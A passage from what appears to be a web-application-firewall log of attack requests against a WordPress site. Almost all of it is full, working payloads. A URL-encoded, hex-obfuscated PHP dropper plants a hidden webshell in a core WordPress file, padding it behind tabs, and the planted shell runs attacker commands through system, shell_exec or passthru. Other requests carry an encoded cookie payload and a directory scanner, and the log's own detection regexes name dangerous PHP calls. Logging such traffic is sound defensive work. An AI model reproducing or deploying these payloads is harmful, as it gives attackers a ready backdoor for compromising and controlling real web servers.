api_gateway7%2529%2529%257B%2524factor_elem%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524factor_elem%2529%257B%2524flag_holder%253D%2524api_gateway6%2528%2524factor_elem%2529%253B%2524api_gateway7%2528%2524factor_elem%2529%253Bprint%2520%2524flag_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\ncontent-length:8833\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-fetch-site:none\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524fac1%2520%253D%2520%25277%2527%253B%2524fac2%2520%253D%2520%25273%2527%253B%2524fac3%2520%253D%2520%25279%2527%253B%2524fac4%2520%253D%2520%25276%2527%253B%2524fac5%2520%253D%2520%2527c%2527%253B%2524fac6%2520%253D%2520%25275%2527%253B%2524fac7%2520%253D%2520%25278%2527%253B%2524fac8%2520%253D%2520%25270%2527%253B%2524fac9%2520%253D%2520%25272%2527%253B%2524fac10%2520%253D%2520%2527f%2527%253B%2524fac11%2520%253D%2520%25274%2527%253B%2524fac12%2520%253D%2520%2527e%2527%253B%2524fac13%2520%253D%2520%25271%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%2524fac3%2520.%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524fac5%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%2524fac7%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%2524fac6%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524fac4%2520.%2520%2524fac10%2520.%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%2524fac4%2520.%2520%2527e%2527%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524fac11%2520.%2520%2524fac1%2520.%2520%25272%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac1%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac1%2520.%2520%2524fac2%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%2524fac4%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524fac13%2520.%2520%2524fac1%2520.%2520%2524fac6%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%25279%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25276%2527%2520.%2520%2524fac13%2520.%2520%2524fac4%2520.%2520%2527e%2527%2520.%2520%2524fac4%2520.%2520%2524fac11%2520.%2520%2524fac4%2520.%2520%2527c%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524entity_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_flg%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524factor_elem%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524factor_elem%2529%257B%2524flag_holder%253D%2524api_gateway6%2528%2524factor_elem%2529%253B%2524api_gateway7%2528%2524factor_elem%2529%253Bprint%2520%2524flag_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:56:09","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ji:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524fac1%2520%253D%2520%25277%2527%253B%2524fac2%2520%253D%2520%25273%2527%253B%2524fac3%2520%253D%2520%25279%2527%253B%2524fac4%2520%253D%2520%25276%2527%253B%2524fac5%2520%253D%2520%2527c%2527%253B%2524fac6%2520%253D%2520%25275%2527%253B%2524fac7%2520%253D%2520%25278%2527%253B%2524fac8%2520%253D%2520%25270%2527%253B%2524fac9%2520%253D%2520%25272%2527%253B%2524fac10%2520%253D%2520%2527f%2527%253B%2524fac11%2520%253D%2520%25274%2527%253B%2524fac12%2520%253D%2520%2527e%2527%253B%2524fac13%2520%253D%2520%25271%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%2524fac3%2520.%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524fac5%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%2524fac7%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%2524fac6%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524fac4%2520.%2520%2524fac10%2520.%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%2524fac4%2520.%2520%2527e%2527%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524fac11%2520.%2520%2524fac1%2520.%2520%25272%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac1%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac1%2520.%2520%2524fac2%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%2524fac4%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524fac13%2520.%2520%2524fac1%2520.%2520%2524fac6%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%25279%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25276%2527%2520.%2520%2524fac13%2520.%2520%2524fac4%2520.%2520%2527e%2527%2520.%2520%2524fac4%2520.%2520%2524fac11%2520.%2520%2524fac4%2520.%2520%2527c%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524entity_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_flg%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524factor_elem%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524factor_elem%2529%257B%2524flag_holder%253D%2524api_gateway6%2528%2524factor_elem%2529%253B%2524api_gateway7%2528%2524factor_elem%2529%253Bprint%2520%2524flag_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnzxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:8810\naccept:*\/*\naccept-encoding:gzip,deflate\n\nji=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524fac1%2520%253D%2520%25277%2527%253B%2524fac2%2520%253D%2520%25273%2527%253B%2524fac3%2520%253D%2520%25279%2527%253B%2524fac4%2520%253D%2520%25276%2527%253B%2524fac5%2520%253D%2520%2527c%2527%253B%2524fac6%2520%253D%2520%25275%2527%253B%2524fac7%2520%253D%2520%25278%2527%253B%2524fac8%2520%253D%2520%25270%2527%253B%2524fac9%2520%253D%2520%25272%2527%253B%2524fac10%2520%253D%2520%2527f%2527%253B%2524fac11%2520%253D%2520%25274%2527%253B%2524fac12%2520%253D%2520%2527e%2527%253B%2524fac13%2520%253D%2520%25271%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%2524fac3%2520.%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524fac5%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%2524fac7%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%2524fac6%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524fac4%2520.%2520%2524fac10%2520.%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%2524fac4%2520.%2520%2527e%2527%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524fac11%2520.%2520%2524fac1%2520.%2520%25272%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac1%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac1%2520.%2520%2524fac2%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%2524fac4%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524fac13%2520.%2520%2524fac1%2520.%2520%2524fac6%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%25279%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25276%2527%2520.%2520%2524fac13%2520.%2520%2524fac4%2520.%2520%2527e%2527%2520.%2520%2524fac4%2520.%2520%2524fac11%2520.%2520%2524fac4%2520.%2520%2527c%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524entity_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_flg%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524factor_elem%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524factor_elem%2529%257B%2524flag_holder%253D%2524api_gateway6%2528%2524factor_elem%2529%253B%2524api_gateway7%2528%2524factor_elem%2529%253Bprint%2520%2524flag_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:56:12","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> vQ:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%2